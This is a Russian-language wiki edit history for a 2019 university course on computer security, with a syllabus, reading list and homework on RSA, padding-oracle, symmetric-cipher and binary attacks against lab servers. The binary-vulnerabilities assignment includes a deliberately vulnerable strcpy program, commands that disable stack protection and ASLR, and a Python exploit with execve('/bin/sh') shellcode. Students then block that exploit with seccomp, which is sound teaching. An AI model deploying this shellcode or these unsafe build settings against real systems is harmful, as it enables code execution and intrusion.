Wiki - Факультет компьютерных наук - Вклад [ru]

Безопасность компьютерных систем 2019

2019-12-16T20:51:49Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]
# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]
# (09.12) [https://drive.google.com/file/d/1Lf1ECyqr4jslRik8vEtZEtHUxHxVQA2h/view?usp=sharing Криптография. Симметричные шифры. MAC.]
# (16.12) [https://drive.google.com/file/d/1K6YPa3wC3oYPKdV2__LzotFUxMQV1kR2/view?usp=sharing Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.]

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (02.11) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [https://drive.google.com/file/d/1txGizt0urG38OimtNYAwhk1LJGVJitkR/view?usp=sharing Атаки на блочные шифры.]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019/Задание 4

2019-12-16T14:31:36Z

Gamajun:

== Задание на асимметричную криптографию ==

Нужно выполнить оба задания по ссылке «[https://khashaev.ru/secsem/rsa/ Attacks on RSA]», каждое стоит по 0.5 баллов, суммарно можно получить 1 балл.

=== Формат отчета ===
* Флаг.
* Скрипт для Python или Sage, взламывающий ключ.
* Текстовое описание того, как был взломана криптосистема.
* Описание недостатка, который позволил получить:
** для 1-го задания: зашифрованное сообщение.
** для 2-го задания: доступ к машине с флагом.
* Краткое описание того, как ''системно'' устранить недостаток криптосистемы.

=== Сдача решения ===
Присылайте решения на почту [mailto:arthur@khashaev.ru?subject=%5Bcrypto@hsecurity%5D arthur@khashaev.ru] с темой «[crypto@hsecurity] Ф.И.О.».

=== Срок сдачи ===
До 22 декабря 23:59:59.

== Задание на симметричную криптографию ==

=== Легенда ===
У вас есть дамп домашней папки пользователя hse_task_sc, где он хранил зашифрованный пароль своей учётной записи от машины 94.130.185.11 (порт 7777).

* encrypt.py — шифрование данных
* decrypt.py — расшифрование данных
* encrypted_password.txt — файл с зашифрованным паролем

Скачать дамп можно [https://drive.google.com/file/d/1cQo-biEZUExlktSYXd8Kw19gQcfLQ3vY/view?usp=sharing здесь ]. Команда для подключения выглядит так:

ssh hse_crypto_sc@91.214.71.18 -p7777

=== Задача ===

* Понять, как работает эта криптосистема.
* Понять, как будете атаковать: Known-Plaintext, Chosen Plaintext, Ciphertext Only, что-то другое?
* Узнать пароль пользователя без применения бандитского криптоанализа, социальной инженерии и помощи коллег.

=== Формат решения ===

Решение должно содержать следующий минимум:
* Программный код на языке Python (последние версии python2 и python3, а также совместимые с ними), взламывающий пароль. Другие языки обсуждаются.
* Текстовое описание того, как был взломан шифр.
* Какой недостаток в этой криптосистеме позволил вам дешифровать шифртекст.
* Флаг, как доказательство получения доступа по ssh.

Если было обнаружено несколько способов взлома (их минимум 3 разной степени элегантности), то подобное описание стоит сделать для каждой атаки.

=== Куда и как сдавать ===
Присылайте на почту okuneva-anna@mail.ru с темой <code>[crypto@hsecurity] Фамилия И.О.</code>. На случай коллизии ФИО, напишите его полностью =)

=== Оценивание ===
* Выполнение задания даёт 1 балл. Также возможно начисление дополнительных баллов за альтернативные способы решения.
* '''Решения, основанные на полном переборе, не принимаются'''.
* '''Перебирать ssh-пароль бессмысленно'''.

=== Сроки ===
Задание принимается до 23:59, 22 декабря 2019 года.

=== Примечание ===
Вопросы и баги можно писать на почту okuneva-anna@mail.ru , в чат курса в Telegram и в личку @dzenizdasy.

== Задание на Padding oracle ==

Нужно выполнить задание по ссылке https://task-json.sh.je/.

=== Формат отчета ===

* Флаг.
* Скрипт для Python (или любого другого языка), который получает флаг (взаимодействуя с сайтом). В нем не должно быть сложных констант --- т.е. не должны быть забиты конкретные пары зашифрованных/расшифрованных блоков, или другой информации, которую вы получили другим скриптом.
* Краткое текстовое описание того, как скрипт работает

=== Сдача решения ===

Присылайте решения в телеграм @neexemil (желательно) или на почту neex.emil@gmail.com (время ответа будет дольше). Указывайте ФИО.

=== Срок сдачи ===

Срок сдачи задания до 23:59 '''22 декабря 2019''' года.

=== Оценивание ===
Задание весит 1 балл.

Безопасность компьютерных систем 2019/Задание 4

2019-12-16T14:30:50Z

Gamajun:

== Задание на асимметричную криптографию ==

Нужно выполнить оба задания по ссылке «[https://khashaev.ru/secsem/rsa/ Attacks on RSA]», каждое стоит по 0.5 баллов, суммарно можно получить 1 балл.

=== Формат отчета ===
* Флаг.
* Скрипт для Python или Sage, взламывающий ключ.
* Текстовое описание того, как был взломана криптосистема.
* Описание недостатка, который позволил получить:
** для 1-го задания: зашифрованное сообщение.
** для 2-го задания: доступ к машине с флагом.
* Краткое описание того, как ''системно'' устранить недостаток криптосистемы.

=== Сдача решения ===
Присылайте решения на почту [mailto:arthur@khashaev.ru?subject=%5Bcrypto@hsecurity%5D arthur@khashaev.ru] с темой «[crypto@hsecurity] Ф.И.О.».

=== Срок сдачи ===
До 22 декабря 23:59:59.

== Задание на симметричную криптографию ==

=== Легенда ===
У вас есть дамп домашней папки пользователя hse_task_sc, где он хранил зашифрованный пароль своей учётной записи от машины 94.130.185.11 (порт 7777).

* encrypt.py — шифрование данных
* decrypt.py — расшифрование данных
* encrypted_password.txt — файл с зашифрованным паролем

Скачать дамп можно [https://drive.google.com/file/d/1cQo-biEZUExlktSYXd8Kw19gQcfLQ3vY/view?usp=sharing здесь ]. Команда для подключения выглядит так:

ssh hse_crypto_sc@91.214.71.18 -p7777

=== Задача ===

* Понять, как работает эта криптосистема.
* Понять, как будете атаковать: Known-Plaintext, Chosen Plaintext, Ciphertext Only, что-то другое?
* Узнать пароль пользователя без применения бандитского криптоанализа, социальной инженерии и помощи коллег.

=== Формат решения ===

Решение должно содержать следующий минимум:
* Программный код на языке Python (последние версии python2 и python3, а также совместимые с ними), взламывающий пароль. Другие языки обсуждаются.
* Текстовое описание того, как был взломан шифр.
* Какой недостаток в этой криптосистеме позволил вам дешифровать шифртекст.
* Флаг, как доказательство получения доступа по ssh.

Если было обнаружено несколько способов взлома (их минимум 3 разной степени элегантности), то подобное описание стоит сделать для каждой атаки.

=== Куда и как сдавать ===
Присылайте на почту okuneva-anna@mail.ru с темой <code>[crypto@hsecurity] Фамилия И.О.</code>. На случай коллизии ФИО, напишите его полностью =)

=== Оценивание ===
* Выполнение задания даёт 1 балл. Также возможно начисление дополнительных баллов за альтернативные способы решения.
* '''Решения, основанные на полном переборе, не принимаются'''.
* '''Перебирать ssh-пароль бессмысленно'''.

== Задание на Padding oracle ==

Нужно выполнить задание по ссылке https://task-json.sh.je/.

=== Формат отчета ===

* Флаг.
* Скрипт для Python (или любого другого языка), который получает флаг (взаимодействуя с сайтом). В нем не должно быть сложных констант --- т.е. не должны быть забиты конкретные пары зашифрованных/расшифрованных блоков, или другой информации, которую вы получили другим скриптом.
* Краткое текстовое описание того, как скрипт работает

=== Сдача решения ===

Присылайте решения в телеграм @neexemil (желательно) или на почту neex.emil@gmail.com (время ответа будет дольше). Указывайте ФИО.

=== Срок сдачи ===

Срок сдачи задания до 23:59 '''22 декабря 2019''' года.

=== Оценивание ===
Задание весит 1 балл.

=== Сроки ===
Задание принимается до 23:59, 22 декабря 2019 года.

=== Примечание ===
Вопросы и баги можно писать на почту okuneva-anna@mail.ru , в чат курса в Telegram и в личку @dzenizdasy.

Безопасность компьютерных систем 2019/Padding

2019-12-16T14:26:40Z

Gamajun: Новая страница: «== Атака Padding oracle == Презентация к семинару: https://drive.google.com/file/d/15PwO5O5WwdFey4n5SLhP9Hpr9EU8QOmr/view?usp=sharing =…»

== Атака Padding oracle ==

Презентация к семинару: https://drive.google.com/file/d/15PwO5O5WwdFey4n5SLhP9Hpr9EU8QOmr/view?usp=sharing

== Задание на Padding oracle ==

Нужно выполнить задание по ссылке https://task-json.sh.je/.

=== Формат отчета ===

* Флаг.
* Скрипт для Python (или любого другого языка), который получает флаг (взаимодействуя с сайтом). В нем не должно быть сложных констант --- т.е. не должны быть забиты конкретные пары зашифрованных/расшифрованных блоков, или другой информации, которую вы получили другим скриптом.
* Краткое текстовое описание того, как скрипт работает

=== Сдача решения ===

Присылайте решения в телеграм @neexemil (желательно) или на почту neex.emil@gmail.com (время ответа будет дольше). Указывайте ФИО.

=== Срок сдачи ===

Срок сдачи задания до 23:59 '''22 декабря 2019''' года.

Задание весит 1 балл.

Безопасность компьютерных систем 2019/RSA

2019-12-16T14:16:33Z

Gamajun:

== Семинар по асимметричной криптографии на примере RSA ==

ПО к семинару: вам понадобится пакет Sage любой стабильной версии, можно взять с официального сайта: http://www.sagemath.org/download.html или из стандартного пакета для вашей ОС.

Например, для Debian Stretch годится пакет sagemath версии 7.4 (apt-get install sagemath).

== Полезные ссылки ==

* [https://www.dlitz.net/software/pycrypto/api/2.6/Crypto.PublicKey.RSA-module.html Мануал по RSA в библиотеке PyCrypto]
* [https://gist.githubusercontent.com/Invizory/00070a06e4f6c48240d9b9b6bfe9c631/raw/519ffe5e47ab819a1922271f82bc7e95b661510c/bcast.py Задача с семинара на broadcast-атаку]
* [https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf 20 лет атак на RSA]

Безопасность компьютерных систем 2019

2019-12-15T14:47:41Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]
# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]
# (09.12) [https://drive.google.com/file/d/1Lf1ECyqr4jslRik8vEtZEtHUxHxVQA2h/view?usp=sharing Криптография. Симметричные шифры. MAC.]
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (02.11) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019/RSA

2019-12-15T14:47:02Z

Gamajun: Новая страница: «== Семинар по асимметричной криптографии на примере RSA == ПО к семинару: вам понадобится п…»

Безопасность компьютерных систем 2019/Задание 3

2019-12-10T12:39:49Z

Gamajun:

== Задание по теме "Бинарные уязвимости" ==

Задание будет состоять из трёх частей:

==== Format string ====

Для выполнения этой части задания Вам необходимо добиться печати строки бинарником "Congratulation! You have successfully solved level 1!" в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.

Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]

==== Stack buffer overflow ====

Для выполнения этой части задания Вам необходимо прочитать содержимое файла "flag_1". Решением является содержимое этого файла и код эксплойта.

Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]

==== Bonus ====

Нужно искать после решения основной части, имеет несколько способов решения.

=== Файлы заданий ===

Файлы задания можно взять тут: [https://yadi.sk/d/WSJOP5NBfhbQFQ]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.

=== Баллы ===

Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - N в зависимости от количества способов решения.

=== Дедлайн ===

12.12.2019 включительно.

=== Сдача решений ===

Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.

=== Поломка заданий ===

Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.

== Бонусное задание по SECCOMP ==

В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.

Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
==== Программа ====
#include <string.h>
#include <stdio.h>
int badcpy(char *str) {
register int i asm("esp");
printf("$esp = %#010x\n", i);
char buffer[100];
strcpy(buffer, str);
}
void main(int argc, char *argv[]) {
badcpy(argv[1]);
printf("Done!\n");
}

Собираем без stack-protector и включаем execstack:

gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c

Отключаем ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

==== Эксплойт (gensploit.py) ====

#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = '\xa0\xda\xff\xff'
print nopsled + shellcode + padding + eip

==== Задача 1 ====
Сначала заставьте переполнение работать.
stack нужно передать шеллкод в качестве параметра командной строки.

Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.

Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

Задание весит '''0.5''' балла.

==== Задача 2 ====
Нужно взять стандартный docker-образ Ubuntu с официального репозитория docker.com и написать для него модифицированную политику SECCOMP, чтобы в этом репозитории запустился Chrome (headless mode). Результат присылать в виде: модифицированной seccomp политики докера с логами неуспешного запуска хрома на дефолтной политике и успешного на модифицированной.

Задание весит '''0.5''' балла.

Безопасность компьютерных систем 2019

2019-12-09T19:39:54Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]
# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]
# (09.12) [https://drive.google.com/file/d/1Lf1ECyqr4jslRik8vEtZEtHUxHxVQA2h/view?usp=sharing Криптография. Симметричные шифры. MAC.]
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019/Задание 4

2019-12-05T20:20:44Z

Gamajun: Новая страница: «== Задание на асимметричную криптографию == Нужно выполнить оба задания по ссылке «[https://kh…»

Безопасность компьютерных систем 2019

2019-12-02T13:55:28Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

